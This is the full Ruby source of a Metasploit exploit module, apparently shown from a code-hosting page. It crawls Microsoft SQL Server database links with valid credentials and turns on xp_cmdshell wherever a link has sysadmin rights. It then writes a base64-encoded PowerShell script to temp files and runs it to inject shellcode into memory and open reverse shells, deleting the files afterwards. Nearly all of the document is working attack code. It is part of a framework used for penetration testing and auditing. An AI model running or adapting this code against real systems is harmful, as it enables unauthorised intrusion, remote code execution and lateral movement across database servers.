Path: blob/master/modules/exploits/windows/mssql/mssql_linkcrawler.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::MSSQL9include Msf::Auxiliary::Report10include Msf::Exploit::CmdStager1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Microsoft SQL Server Database Link Crawling Command Execution',17'Description' => %q{18This module can be used to crawl MS SQL Server database links and deploy19Metasploit payloads through links configured with sysadmin privileges using a20valid SQL Server Login.2122If you are attempting to obtain multiple reverse shells using this module we23recommend setting the "DisablePayloadHandler" advanced option to "true", and setting24up a exploit/multi/handler to run in the background as a job to support multiple incoming25shells.2627If you are interested in deploying payloads to specific servers this module also28supports that functionality via the "DEPLOYLIST" option.2930Currently, the module is capable of delivering payloads to both 32bit and 64bit31Windows systems via powershell memory injection methods based on Matthew Graeber's32work. As a result, the target server must have powershell installed. By default,33all of the crawl information is saved to a CSV formatted log file and MSF loot so34that the tool can also be used for auditing without deploying payloads.35},36'Author' => [37'Antti Rantasaari <antti.rantasaari[at]netspi.com>',38'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'39],40'Platform' => [ 'win' ],41'Arch' => [ ARCH_X86, ARCH_X64 ],42'License' => MSF_LICENSE,43'References' => [44['URL', 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012'],45['URL', 'http://msdn.microsoft.com/en-us/library/ms188279.aspx'],46['URL', 'http://www.exploit-monday.com/2011_10_16_archive.html']47],48'DisclosureDate' => '2000-01-01',49'Targets' => [50[ 'Automatic', {} ],51],52'CmdStagerFlavor' => 'vbs',53'DefaultTarget' => 0,54'Notes' => {55'Reliability' => UNKNOWN_RELIABILITY,56'Stability' => UNKNOWN_STABILITY,57'SideEffects' => UNKNOWN_SIDE_EFFECTS58}59)60)6162register_options(63[64OptBool.new('DEPLOY', [false, 'Deploy payload via the sysadmin links', false]),65OptString.new('DEPLOYLIST', [false, 'Comma separated list of systems to deploy to']),66OptString.new('PASSWORD', [true, 'The password for the specified username'])67]68)6970register_advanced_options(71[72OptString.new('POWERSHELL_PATH', [true, 'Path to powershell.exe', "C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe"])73]74)75end7677def exploit78# Display start time79time1 = Time.new80print_status("-------------------------------------------------")81print_status("Start time : #{time1.inspect}")82print_status("-------------------------------------------------")8384# Check if credentials are correct85print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...")8687if !mssql_login_datastore88print_error("Invalid SQL Server credentials")89print_status("-------------------------------------------------")90return91end9293# Define master array to keep track of enumerated database information94masterList = Array.new95masterList[0] = Hash.new # Define new hash96masterList[0]["name"] = "" # Name of the current database server97masterList[0]["db_link"] = "" # Name of the linked database server98masterList[0]["db_user"] = "" # User configured on the database server link99masterList[0]["db_sysadmin"] = "" # Specifies if the database user configured for the link has sysadmin privileges100masterList[0]["db_version"] = "" # Database version of the linked database server101masterList[0]["db_os"] = "" # OS of the linked database server102masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored103masterList[0]["done"] = 0 # Used to determine if linked need to be crawled104105shelled = Array.new # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system106107# Setup query for gathering information from database servers108versionQuery = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE\109(ltrim((select REPLACE((Left(@@Version,CHARINDEX('-',@@version)-1)),'Microsoft','')+ rtrim(CONVERT\110(char(30), SERVERPROPERTY('Edition'))) +' '+ RTRIM(CONVERT(char(20), SERVERPROPERTY('ProductLevel')))+\111CHAR(10))), CHAR(10), ''), CHAR(13), ''), CHAR(9), '')) as version, RIGHT(@@version, LEN(@@version)- 3 \112-charindex (' ON ',@@VERSION)) as osver,is_srvrolemember('sysadmin'),(select count(srvname) from \113master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')as linkcount"114115# Create loot table to store configuration information from crawled database server links116linked_server_table = Rex::Text::Table.new(117'Header' => 'Linked Server Table',118'Indent' => 1,119'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os', 'link_state']120)121save_loot = ""122123# Start crawling through linked database servers124while masterList.any? { |f| f["done"] == 0 }125# Find the first DB server that has not been crawled (not marked as done)126server = masterList.detect { |f| f["done"] == 0 }127128# Get configuration information from the database server129sql = query_builder(server["path"].first, "", 0, versionQuery)130result = mssql_query(sql, false) if mssql_login_datastore131parse_results = result[:rows]132parse_results.each { |s|133server["name"] = s[0]134server["db_user"] = s[1]135server["db_sysadmin"] = s[5]136server["db_version"] = s[3]137server["db_os"] = s[4]138server["numlinks"] = s[6]139}140if masterList.length == 1141print_good("Successfully connected to #{server["name"]}")142if datastore['VERBOSE']143show_configs(server["name"], parse_results, true)144elsif server["db_sysadmin"] == 1145print_good("Sysadmin on #{server["name"]}")146end147end148if server["db_sysadmin"] == 1149enable_xp_cmdshell(server["path"].first, server["name"], shelled)150end151152# If links were found, determine if they can be connected to and add to crawl list153if (server["numlinks"] > 0)154# Enable loot155save_loot = "yes"156157# Select a list of the linked database servers that exist on the current database server158print_status("")159print_status("-------------------------------------------------")160print_status("Crawling links on #{server["name"]}...")161# Display number db server links162print_status("Links found: #{server["numlinks"]}")163print_status("-------------------------------------------------")164execute = "select srvname from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server'"165sql = query_builder(server["path"].first, "", 0, execute)166result = mssql_query(sql, false) if mssql_login_datastore167168result[:rows].each { |name|169name.each { |name|170# Check if link works and if sysadmin permissions - temp array to save orig server[path]171temppath = Array.new172temppath = server["path"].first.dup173temppath << name174175# Get configuration information from the linked server176sql = query_builder(temppath, "", 0, versionQuery)177result = mssql_query(sql, false) if mssql_login_datastore178179# Add newly aquired db servers to the masterlist, but don't add them if the link is broken or already exists180if result[:errors].empty? and result[:rows] != nil then181# Assign db query results to variables for hash182parse_results = result[:rows]183184# Add link server information to loot185link_status = 'up'186write_to_report(name, server, parse_results, linked_server_table, link_status)187188# Display link server information in verbose mode189if datastore['VERBOSE']190show_configs(name, parse_results)191print_status(" o Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")192else193if parse_results[0][5] == 1194print_good("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} (Sysadmin!)")195else196print_status("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")197end198end199200# Add link to masterlist hash201unless masterList.any? { |f| f["name"] == name }202masterList << add_host(name, server["path"].first, parse_results)203else204(0..masterList.length - 1).each do |x|205if masterList[x]["name"] == name206masterList[x]["path"] << server["path"].first.dup207masterList[x]["path"].last << name208unless shelled.include?(name)209if parse_results[0][2] == 1210enable_xp_cmdshell(masterList[x]["path"].last.dup, name, shelled)211end212end213else214break215end216end217end218else219# Add to report220linked_server_table << [server["name"], server["db_version"], server["db_os"], name, 'NA', 'NA', 'NA', 'NA', 'Connection Failed']221222# Display status to user223if datastore['VERBOSE']224print_status(" ")225print_error("Linked Server: #{name} ")226print_error(" o Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")227print_status(" Failure could be due to:")228print_status(" - A dead server")229print_status(" - Bad credentials")230print_status(" - Nested open queries through SQL 2000")231else232print_error("Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")233end234end235}236}237end238# Set server to "crawled"239server["done"] = 1240end241242print_status("-------------------------------------------------")243244# Setup table for loot245this_service = nil246if framework.db and framework.db.active247this_service = report_service(248:host => mssql_client.peerhost,249:port => mssql_client.peerport,250:name => 'mssql',251:proto => 'tcp'252)253end254255# Display end time256time1 = Time.new257print_status("End time : #{time1.inspect}")258print_status("-------------------------------------------------")259260# Write log to loot / file261if (save_loot == "yes")262filename = "#{mssql_client.peerhost}-#{mssql_client.peerport}_linked_servers.csv"263path = store_loot("crawled_links", "text/plain", mssql_client.peerhost, linked_server_table.to_csv, filename, "Linked servers", this_service)264print_good("Results have been saved to: #{path}")265end266end267268# ---------------------------------------------------------------------269# Method that builds nested openquery statements using during crawling270# ---------------------------------------------------------------------271def query_builder(path, sql, ticks, execute)272# Temp used to maintain the original masterList[x]["path"]273temp = Array.new274path.each { |i| temp << i }275276# Actual query - defined when the function originally called - ticks multiplied277if path.length == 0278return execute.gsub("'", "'" * 2**ticks)279280# openquery generator281else282sql = "select * from openquery(\"" + temp.shift + "\"," + "'" * 2**ticks + query_builder(temp, sql, ticks + 1, execute) + "'" * 2**ticks + ")"283return sql284end285end286287# ---------------------------------------------------------------------288# Method that builds nested openquery statements using during crawling289# ---------------------------------------------------------------------290def query_builder_rpc(path, sql, ticks, execute)291# Temp used to maintain the original masterList[x]["path"]292temp = Array.new293path.each { |i| temp << i }294295# Actual query - defined when the function originally called - ticks multiplied296if path.length == 0297return execute.gsub("'", "'" * 2**ticks)298299# Openquery generator300else301exec_at = temp.shift302quotes = "'" * 2**ticks303sql = "exec(#{quotes}#{query_builder_rpc(temp, sql, ticks + 1, execute)}#{quotes}) at [#{exec_at}]"304return sql305end306end307308# ---------------------------------------------------------------------309# Method for adding new linked database servers to the crawl list310# ---------------------------------------------------------------------311def add_host(name, path, parse_results)312# Used to add new servers to masterList313server = Hash.new314server["name"] = name315temppath = Array.new316path.each { |i| temppath << i }317server["path"] = [temppath]318server["path"].first << name319server["done"] = 0320parse_results.each { |stuff|321server["db_user"] = stuff.at(1)322server["db_sysadmin"] = stuff.at(2)323server["db_version"] = stuff.at(3)324server["db_os"] = stuff.at(4)325server["numlinks"] = stuff.at(6)326}327return server328end329330# ---------------------------------------------------------------------331# Method to display configuration information332# ---------------------------------------------------------------------333def show_configs(i, parse_results, entry = false)334print_status(" ")335parse_results.each { |stuff|336# Translate syadmin code337status = stuff.at(5)338if status == 1 then339dbpriv = "sysadmin"340else341dbpriv = "user"342end343344# Display database link information345if entry == false346print_status("Linked Server: #{i}")347print_status(" o Link user: #{stuff.at(1)}")348print_status(" o Link privs: #{dbpriv}")349print_status(" o Link version: #{stuff.at(3)}")350print_status(" o Link OS: #{stuff.at(4).strip}")351print_status(" o Links on server: #{stuff.at(6)}")352else353print_status("Server: #{i}")354print_status(" o Server user: #{stuff.at(1)}")355print_status(" o Server privs: #{dbpriv}")356print_status(" o Server version: #{stuff.at(3)}")357print_status(" o Server OS: #{stuff.at(4).strip}")358print_status(" o Server on server: #{stuff.at(6)}")359end360}361end362363# ---------------------------------------------------------------------364# Method for generating the report and loot365# ---------------------------------------------------------------------366def write_to_report(i, server, parse_results, linked_server_table, link_status)367parse_results.each { |stuff|368# Parse server information369db_link_user = stuff.at(1)370db_link_sysadmin = stuff.at(2)371db_link_version = stuff.at(3)372db_link_os = stuff.at(4)373374# Add link server to the reporting array and set link_status to 'up'375linked_server_table << [server["name"], server["db_version"], server["db_os"], i, db_link_user, db_link_sysadmin, db_link_version, db_link_os, link_status]376377return linked_server_table378}379end380381# ---------------------------------------------------------------------382# Method for enabling xp_cmdshell383# ---------------------------------------------------------------------384def enable_xp_cmdshell(path, name, shelled)385# Enables "show advanced options" and xp_cmdshell if needed and possible386# They cannot be enabled in user transactions (i.e. via openquery)387# Only enabled if RPC_Out is enabled for linked server388# All changes are reverted after payload delivery and execution389390# Check if "show advanced options" is enabled391execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'show advanced options'"392sql = query_builder(path, "", 0, execute)393result = mssql_query(sql, false) if mssql_login_datastore394saoOrig = result[:rows].pop.pop395396# Check if "xp_cmdshell" is enabled397execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'"398sql = query_builder(path, "", 0, execute)399result = mssql_query(sql, false) if mssql_login_datastore400xpcmdOrig = result[:rows].pop.pop401402# Try blindly to enable "xp_cmdshell" on the linked server403# Note:404# This only works if rpcout is enabled for all links in the link path.405# If that is not the case it fails cleanly.406if xpcmdOrig == 0407if saoOrig == 0408# Enabling show advanced options and xp_cmdshell409execute = "sp_configure 'show advanced options',1;reconfigure"410sql = query_builder_rpc(path, "", 0, execute)411result = mssql_query(sql, false) if mssql_login_datastore412end413414# Enabling xp_cmdshell415print_status("\t - xp_cmdshell is not enabled on " + name + "... Trying to enable")416execute = "sp_configure 'xp_cmdshell',1;reconfigure"417sql = query_builder_rpc(path, "", 0, execute)418result = mssql_query(sql, false) if mssql_login_datastore419end420421# Verifying that xp_cmdshell is now enabled (could be unsuccessful due to server policies, total removal etc.)422execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'"423sql = query_builder(path, "", 0, execute)424result = mssql_query(sql, false) if mssql_login_datastore425xpcmdNow = result[:rows].pop.pop426427if xpcmdNow == 1 or xpcmdOrig == 1428print_status("\t - Enabled xp_cmdshell on " + name) if xpcmdOrig == 0429if datastore['DEPLOY']430print_status("Ready to deploy a payload #{name}")431if datastore['DEPLOYLIST'] == ""432datastore['DEPLOYLIST'] = nil433end434if !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]435print_status("\t - Checking if #{name} is on the deploy list...")436end437if datastore['DEPLOYLIST'] != nil438deploylist = datastore['DEPLOYLIST'].upcase.split(',')439end440if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase441if !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]442print_status("\t - #{name} is on the deploy list.")443end444unless shelled.include?(name)445powershell_upload_exec(path)446shelled << name447else448print_status("Payload already deployed on #{name}")449end450elsif !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]451print_status("\t - #{name} is not on the deploy list")452end453end454else455print_error("\t - Unable to enable xp_cmdshell on " + name)456end457458# Revert soa and xp_cmdshell to original state459if xpcmdOrig == 0 and xpcmdNow == 1460print_status("\t - Disabling xp_cmdshell on " + name)461execute = "sp_configure 'xp_cmdshell',0;reconfigure"462sql = query_builder_rpc(path, "", 0, execute)463result = mssql_query(sql, false) if mssql_login_datastore464end465if saoOrig == 0 and xpcmdNow == 1466execute = "sp_configure 'show advanced options',0;reconfigure"467sql = query_builder_rpc(path, "", 0, execute)468result = mssql_query(sql, false) if mssql_login_datastore469end470end471472# ----------------------------------------------------------------------473# Method that delivers shellcode payload via powershell thread injection474# ----------------------------------------------------------------------475def powershell_upload_exec(path)476# Create powershell script that will inject shell code from the selected payload477myscript = "$code = @\"478[DllImport(\"kernel32.dll\")]479public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);480[DllImport(\"kernel32.dll\")]481public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);482[DllImport(\"msvcrt.dll\")]483public static extern IntPtr memset(IntPtr dest, uint src, uint count);484\"@485$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru486[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\', ',0').sub(',', '')}487$size = 0x1000488if ($sc.Length -gt 0x1000) {$size = $sc.Length}489$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)490for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}491$winFunc::CreateThread(0,0,$x,0,0,0)"492493# Unicode encode powershell script494mytext_uni = Rex::Text.to_unicode(myscript)495496# Base64 encode unicode497mytext_64 = Rex::Text.encode_base64(mytext_uni)498499# Generate random file names500rand_filename = rand_text_alpha(8)501var_duplicates = rand_text_alpha(8)502503# Write base64 encoded powershell payload to temp file504# This is written 2500 characters at a time due to xp_cmdshell ruby function limitations505# Also, line number tracking was added so that duplication lines caused by nested linked506# queries could be found and removed.507print_status("Deploying payload...")508linenum = 0509mytext_64.scan(/.{1,2500}/).each { |part|510execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'"511sql = query_builder(path, "", 0, execute)512result = mssql_query(sql, false) if mssql_login_datastore513linenum = linenum + 1514}515516# Remove duplicate lines from temp file and write to new file517execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'"518sql = query_builder(path, "", 0, execute)519result = mssql_query(sql, false) if mssql_login_datastore520521# Remove tracking tags from lines522execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'"523sql = query_builder(path, "", 0, execute)524result = mssql_query(sql, false) if mssql_login_datastore525526# Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors527# If running on 64bit system, 32bit powershell called from syswow64528powershell_cmd = "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like\529'*64*'){$psbits=\"#{datastore['POWERSHELL_PATH']} -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe\530-noexit -noprofile -encodedCommand $dacode\"};iex $psbits"531powershell_uni = Rex::Text.to_unicode(powershell_cmd)532powershell_64 = Rex::Text.encode_base64(powershell_uni)533534# Setup query535execute = "select 1; EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_64}'"536sql = query_builder(path, "", 0, execute)537538# Execute the playload539print_status("Executing payload...")540result = mssql_query(sql, false) if mssql_login_datastore541# Remove payload data from the target server542execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'"543sql = query_builder(path, "", 0, execute)544result = mssql_query(sql, false)545end546end547548549